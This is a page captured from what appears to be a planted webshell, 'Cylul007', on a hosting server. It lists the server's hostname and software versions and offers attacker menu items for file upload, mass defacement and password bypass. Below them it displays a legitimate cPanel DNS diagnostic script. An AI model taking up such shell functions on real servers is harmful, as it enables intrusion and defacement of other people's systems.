Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 16:57:35
Current Directory :
/
scripts
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : //scripts/cpdig
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/cpdig Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::cpdig; use strict; use warnings; =encoding utf-8 =head1 NAME cpdig =head1 USAGE cpdig <name> <type> [--verbose] =head1 DESCRIPTION This script performs a DNS query using cPanel’s DNS resolver. Its output should yield the same end results as C<dig +trace $name $type>. cPanel provides this script solely for diagnostic purposes; no cPanel & WHM feature requires its use. =cut use parent qw( Cpanel::HelpfulScript ); use Cpanel::DNS::Unbound; use constant _OPTIONS => ('verbose'); use constant _ACCEPT_UNNAMED => 1; __PACKAGE__->new(@ARGV)->run() if !caller; sub run { my ($self) = @_; my ( $name, $type ) = $self->getopt_unnamed(); die $self->help() if grep { !$_ } $name, $type; $type = uc($type); my $dns = Cpanel::DNS::Unbound->new(); my $ret = $dns->recursive_queries( [ [ $name, $type ] ] )->[0]; if ( $self->getopt('verbose') ) { print STDERR $ret->{debug}; } my $data_ar = $ret->{'decoded_data'} || $ret->{result}{data}; my %FORMATTERS = ( 'ARRAY' => sub { "@{$_[0]}" }, 'HASH' => sub { join ' ', map { "$_=$_[0]->{$_}" } sort keys %{ $_[0] }; } ); foreach my $item ( @{$data_ar} ) { my $type = ref $item; if ( $type ne '' && defined $FORMATTERS{$type} ) { $self->_print( $FORMATTERS{$type}->($item) . "\n" ); } else { $self->_print("$item\n"); } } return; } 1;
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18